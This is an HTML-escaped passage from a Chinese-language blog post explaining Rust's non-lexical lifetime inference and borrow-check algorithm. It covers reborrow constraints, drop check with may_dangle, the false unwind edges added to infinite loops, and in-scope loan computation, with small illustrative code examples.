&lt;p&gt;并且，若&lt;code&gt;Πn&lt;&#x2F;code&gt;后续被重新赋值，约束2的location-aware的特点，使其不会让&lt;code&gt;&#x27;L&lt;&#x2F;code&gt;延续到&lt;code&gt;Πn&lt;&#x2F;code&gt;被重新赋值后：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;Q: use(*Πn)     &#x2F;&#x2F; last use of Πn&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...             &#x2F;&#x2F; Πn is dead, so &#x27;L doesn&#x27;t include this&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Πn = &amp;amp;&#x27;a x      &#x2F;&#x2F; Πn reactivated, not related to &#x27;L&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;凭借这一点就能实现本节开头所示的例子中lifetime的推导。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;最后考察约束3，首先考虑如下例子&lt;code&gt;r = &amp;amp;&#x27;r **a.b.c&lt;&#x2F;code&gt;，其中&lt;code&gt;a.b.c&lt;&#x2F;code&gt;和&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;都是mutable reference，于是&lt;code&gt;**a.b.c&lt;&#x2F;code&gt;的supporting prefix为&lt;code&gt;**a.b.c&lt;&#x2F;code&gt;、&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;和&lt;code&gt;a.b.c&lt;&#x2F;code&gt;，因此根据约束3有&lt;code&gt;&#x27;b: &#x27;r&lt;&#x2F;code&gt;和&lt;code&gt;&#x27;a: &#x27;r&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt; a.b.c&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   ↓ &amp;amp;&#x27;a mut&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   ↓ &amp;amp;&#x27;b mut&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;**a.b.c   &amp;lt;-- &amp;amp;&#x27;r**a.b.c&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;首先，对于遇到的第一层解引用，&lt;code&gt;&amp;amp;&#x27;r **a.b.c&lt;&#x2F;code&gt;和&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;是reborrow的关系，在borrow stack中&lt;code&gt;&amp;amp;&#x27;r **a.b.c&lt;&#x2F;code&gt;位于&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;的上方，因此有&lt;code&gt;&#x27;b : &#x27;r&lt;&#x2F;code&gt;，即后者的lifetime大于前者。这说明对于遇到的第一层mutable dereference，应当满足约束3。&lt;&#x2F;p&gt;
&lt;p&gt;需要指出的是，这里的&lt;code&gt;&#x27;b : &#x27;r&lt;&#x2F;code&gt;实际上是保守的，因为它要求「borrow stack」确实是一个stack，即reborrow先出栈，被reborrow者后出栈，实际上即使这个约束不成立程序也可以是正确的。回顾此前用过的这个例子：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let new;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let old = &amp;amp;mut x;   &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;old``&lt;br &#x2F;&gt;&lt;code&gt;    new = &amp;amp;*old;        &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(new);               &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &amp;lt;-------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可以看到&lt;code&gt;old&lt;&#x2F;code&gt;的lifetime由于约束3被延长了，延伸至了&lt;code&gt;old&lt;&#x2F;code&gt;已经离开作用域的&lt;code&gt;use(new)&lt;&#x2F;code&gt;。我们为其增加一行&lt;code&gt;read(x)&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let new;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let old = &amp;amp;mut x;   &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;old``&lt;br &#x2F;&gt;&lt;code&gt;    new = &amp;amp;*old;        &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;read(x);                &#x2F;&#x2F;   | ERROR!&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(new);               &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &amp;lt;-------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;显然，由于独占&lt;code&gt;x&lt;&#x2F;code&gt;的&lt;code&gt;old&lt;&#x2F;code&gt;已经离开了作用域，我们在&lt;code&gt;read(x)&lt;&#x2F;code&gt;中对&lt;code&gt;x&lt;&#x2F;code&gt;的读取和&lt;code&gt;new&lt;&#x2F;code&gt;这个对&lt;code&gt;x&lt;&#x2F;code&gt;的shared borrow并不冲突，但程序无法通过编译，因为&lt;code&gt;old&lt;&#x2F;code&gt;和&lt;code&gt;&amp;amp;mut x&lt;&#x2F;code&gt;的lifetime根据约束3已扩展得太大了。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;对于第二层解引用，由于&lt;code&gt;a.b.c&lt;&#x2F;code&gt;引用了&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;，应当有&lt;code&gt;&#x27;b : &#x27;a&lt;&#x2F;code&gt;，但不一定有&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;，完全可以&lt;code&gt;a.b.c&lt;&#x2F;code&gt;已经expire而&lt;code&gt;r&lt;&#x2F;code&gt;还保持有效。这说明约束3要求的&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;实际上并不是由lifetime的定义自然导出的，而是人工构造（Artificial）的要求，后面我们将看到引入这一约束条件的目的是为了配合不够精确的borrow check算法。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&#x27;b : &#x27;a&lt;&#x2F;code&gt;实际上由约束1保证，不需要额外引入新的约束条件。事实上，考虑&lt;code&gt;x: &amp;amp;&#x27;a &amp;amp;&#x27;b T&lt;&#x2F;code&gt;，根据约束1，凡是使用&lt;code&gt;x&lt;&#x2F;code&gt;之处，都同时属于lifetime&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;和&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;，但对于location&lt;code&gt;*x&lt;&#x2F;code&gt;可能还有其他变量&lt;code&gt;p&lt;&#x2F;code&gt;可以访问，因此有&lt;code&gt;&#x27;b : &#x27;a&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;下面来看一个例子，体现了为什么这一约束是不必要的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let mut u = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut c = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut b = &amp;amp;mut c;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let d;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let a = &amp;amp;mut b;     &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;a&lt;code&gt;and&lt;&#x2F;code&gt;&amp;amp;mut b``&lt;br &#x2F;&gt;&lt;code&gt;    d = &amp;amp;mut **a;       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;b = &amp;amp;mut u;             &#x2F;&#x2F;   | ERROR!&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;println!(&quot;{}&quot;, d);      &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &amp;lt;-------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;上述代码中，&lt;code&gt;b&lt;&#x2F;code&gt;mutably borrow了&lt;code&gt;c&lt;&#x2F;code&gt;，然后&lt;code&gt;d&lt;&#x2F;code&gt;对&lt;code&gt;c&lt;&#x2F;code&gt;进行了reborrow，最后&lt;code&gt;b&lt;&#x2F;code&gt;被赋值为了另一个mutable borrow，显然整个过程没有违反borrow规则。然而由于约束3的限制，&lt;code&gt;a&lt;&#x2F;code&gt;的lifetime会被延长至&lt;code&gt;println!(&quot;{}&quot;, d)&lt;&#x2F;code&gt;，从而导致borrow checker认为&lt;code&gt;&amp;amp;mut b&lt;&#x2F;code&gt;这个对&lt;code&gt;b&lt;&#x2F;code&gt;的borrow和&lt;code&gt;b = &amp;amp;mut u&lt;&#x2F;code&gt;冲突，程序无法通过编译。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;再来考虑如下例子&lt;code&gt;r = &amp;amp;&#x27;r **a.b.c&lt;&#x2F;code&gt;，其中&lt;code&gt;a.b.c&lt;&#x2F;code&gt;和&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;都是shared reference，于是&lt;code&gt;**a.b.c&lt;&#x2F;code&gt;的supporting prefix为&lt;code&gt;**a.b.c&lt;&#x2F;code&gt;，因此根据约束3有&lt;code&gt;&#x27;b : &#x27;r&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt; a.b.c&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   ↓ &amp;amp;&#x27;a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a.b.c    &amp;lt;-- other shared references&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   ↓ &amp;amp;&#x27;b&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;**a.b.c   &amp;lt;-- other shared references&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   ↑ &amp;amp;&#x27;r&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&amp;amp;&#x27;r**a.b.c&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;对于遇到的第一层解引用，&lt;code&gt;&amp;amp;&#x27;r **a.b.c&lt;&#x2F;code&gt;和&lt;code&gt;*a.b.c&lt;&#x2F;code&gt;是reborrow的关系，因此有&lt;code&gt;&#x27;b : &#x27;r&lt;&#x2F;code&gt;，而对于遇到的第二层解引用，&lt;code&gt;a.b.c&lt;&#x2F;code&gt;的lifetime与&lt;code&gt;&amp;amp;&#x27;r **a.b.c&#x27;&lt;&#x2F;code&gt;的lifetime并没有什么必然的联系。在这里，约束3的导出是较为自然的，尽管&lt;code&gt;&#x27;b : &#x27;r&lt;&#x2F;code&gt;仍然是为了满足「borrow stack」语义而凑出的约束条件。&lt;&#x2F;p&gt;
&lt;p&gt;下面这个例子说明了borrow stack语义实际上是保守的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let mut x = (3, 4);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let new;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let old = &amp;amp;x;       &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;old``&lt;br &#x2F;&gt;&lt;code&gt;    new = &amp;amp;(*old).0;    &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;x.1 = 0;                &#x2F;&#x2F;   | ERROR!&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;println!(&quot;{}&quot;, new);    &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &amp;lt;-------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;由于约束3，&lt;code&gt;old&lt;&#x2F;code&gt;的lifetime被延伸至&lt;code&gt;println!(&quot;{}&quot;, new)&lt;&#x2F;code&gt;处，导致borrow checker认为&lt;code&gt;&amp;amp;x&lt;&#x2F;code&gt;这个对&lt;code&gt;x&lt;&#x2F;code&gt;的borrow和&lt;code&gt;x.1 = 0&lt;&#x2F;code&gt;冲突，程序无法通过编译。但此时只有&lt;code&gt;x.0&lt;&#x2F;code&gt;还被&lt;code&gt;new&lt;&#x2F;code&gt;所borrow，对&lt;code&gt;x&lt;&#x2F;code&gt;作为一个整体的borrow已经expire，程序实际上是正确的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;avoiding-infinite-loops&quot;&gt;Avoiding Infinite Loops&lt;&#x2F;h3&gt;
&lt;p&gt;无限循环会导致lifetime推导遇到问题，下面这个（unsafe的）scoped thread的例子可以说明这一点：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let scope = Scope::new();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut foo = 22;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;unsafe {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; dtor joins the thread&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let _guard = scope.spawn(&amp;amp;mut foo);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    loop {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        foo += 1;   &#x2F;&#x2F; should be ERROR!&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   &#x2F;&#x2F; drop of&lt;&#x2F;code&gt;_guard&lt;code&gt; joins the thread&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们希望&lt;code&gt;_guard&lt;&#x2F;code&gt;的lifetime从&lt;code&gt;unsafe&lt;&#x2F;code&gt;块的开头延续到结尾，但由于中间的无限循环，编译器会认为最后的&lt;code&gt;drop(_guard)&lt;&#x2F;code&gt;不可达，因此&lt;code&gt;_guard&lt;&#x2F;code&gt;的lifetime仅限于它所在中的这一行。这样一来，这段程序将能通过borrow check，但实际上我们希望&lt;code&gt;foo += 1&lt;&#x2F;code&gt;这一行是不合法的，因为此时spawn的thread可能正在运行并通过mutable reference访问&lt;code&gt;foo&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;Rust对此的解决方案是在每个无限循环中加入一条false “unwind” edge，让循环看似可以退出，但退出条件永远是false。我们称之为&quot;unwind&quot; edge，是因为形式上看它代表了panic时的stack unwinding这条隐藏的code path。这样一来，编译器就能够推导出正确的lifetime。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;drop-check&quot;&gt;Drop Check&lt;&#x2F;h3&gt;
&lt;p&gt;为了处理drop check，我们需要对lifetime的liveness定义作一修改。实际上，我们要定义两种liveness：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一种liveness表示变量在将来可能还会被&lt;strong&gt;use&lt;&#x2F;strong&gt;，这里use不包括drop&lt;&#x2F;li&gt;
&lt;li&gt;一种liveness表示变量在将来可能会被&lt;strong&gt;drop&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;lifetime的liveness要据此修改如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;定义2’：&lt;&#x2F;strong&gt;  我们说lifetime&lt;code&gt;L&lt;&#x2F;code&gt;在&lt;code&gt;P&lt;&#x2F;code&gt;是&lt;em&gt;live&lt;&#x2F;em&gt;的，若：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;存在某变量&lt;code&gt;p&lt;&#x2F;code&gt;在&lt;code&gt;P&lt;&#x2F;code&gt;是use意义上live的，且&lt;code&gt;L&lt;&#x2F;code&gt;出现在&lt;code&gt;p&lt;&#x2F;code&gt;的类型中&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;或存在某变量&lt;code&gt;p&lt;&#x2F;code&gt;在&lt;code&gt;P&lt;&#x2F;code&gt;是drop意义上live的，&lt;code&gt;L&lt;&#x2F;code&gt;出现在&lt;code&gt;p&lt;&#x2F;code&gt;的类型中，且不是&lt;em&gt;may dangle&lt;&#x2F;em&gt;的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;L&lt;&#x2F;code&gt;不受drop check限制，例如&lt;code&gt;p&lt;&#x2F;code&gt;未实现&lt;code&gt;Drop&lt;&#x2F;code&gt;，则&lt;code&gt;L&lt;&#x2F;code&gt;是may dangle的&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;L&lt;&#x2F;code&gt;被显式标记为&lt;code&gt;#[may_dangle]&lt;&#x2F;code&gt;以绕过drop check，则&lt;code&gt;L&lt;&#x2F;code&gt;也是may dangle的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;也就是说，如果&lt;code&gt;L&lt;&#x2F;code&gt;是may dangle的话，其lifetime可以无需延伸至&lt;code&gt;drop&lt;&#x2F;code&gt;处，即&lt;code&gt;L&lt;&#x2F;code&gt;不一定要大于等于包含其的变量的&lt;em&gt;lifetime&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;borrow-check-algorithm&quot;&gt;Borrow Check Algorithm&lt;&#x2F;h3&gt;
&lt;p&gt;Borrow checker分两个阶段运作，第一阶段的工作是为CFG中的每一个point&lt;code&gt;P&lt;&#x2F;code&gt;计算其in-scope loan：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;定义5：&lt;&#x2F;strong&gt; &lt;em&gt;loan&lt;&#x2F;em&gt;是一个&lt;code&gt;(&#x27;a, shared|uniq|mut, lvalue)&lt;&#x2F;code&gt;三元组，表示一个rvalue的borrow&lt;code&gt;&amp;amp;&#x27;a lvalue&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&amp;amp;&#x27;a uniq lvalue&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&amp;amp;&#x27;a mut lvalue&lt;&#x2F;code&gt;，其中&lt;code&gt;&amp;amp;uniq&lt;&#x2F;code&gt;表示closure捕获时才会产生的unique immutable borrow，在Rust代码中无法显式使用。&lt;&#x2F;p&gt;
&lt;p&gt;我们在每个point&lt;code&gt;P&lt;&#x2F;code&gt;按如下方法更新in-scope loan，通过forward dataflow analysis即可得出每个point的in-scope loan：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于lifetime不包含&lt;code&gt;P&lt;&#x2F;code&gt;的loan，从in-scope loan中删除&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;P&lt;&#x2F;code&gt;处发生了borrow&#x2F;reborrow，则产生对应的loan，加入in-scope loan&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;P&lt;&#x2F;code&gt;是一个assignment&lt;code&gt;lv = rvalue&lt;&#x2F;code&gt;，则从in-scope loan中删除所有满足&lt;code&gt;lv&lt;&#x2F;code&gt;是其path&lt;code&gt;p&lt;&#x2F;code&gt;的prefix的loan&lt;code&gt;(&#x27;a, _, p)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于最后一条规则，我们看一个例子来帮助理解：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let r = &amp;amp;(*a.b).x.y;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; (*a.b).x = u;    &#x2F;&#x2F; ERROR! &amp;amp;(*a.b).x.y is in-scope&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;a = new;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;(*a.b).x = u;       &#x2F;&#x2F; LEGAL! &amp;amp;(*a.b).x.y not in-scope&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(r);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
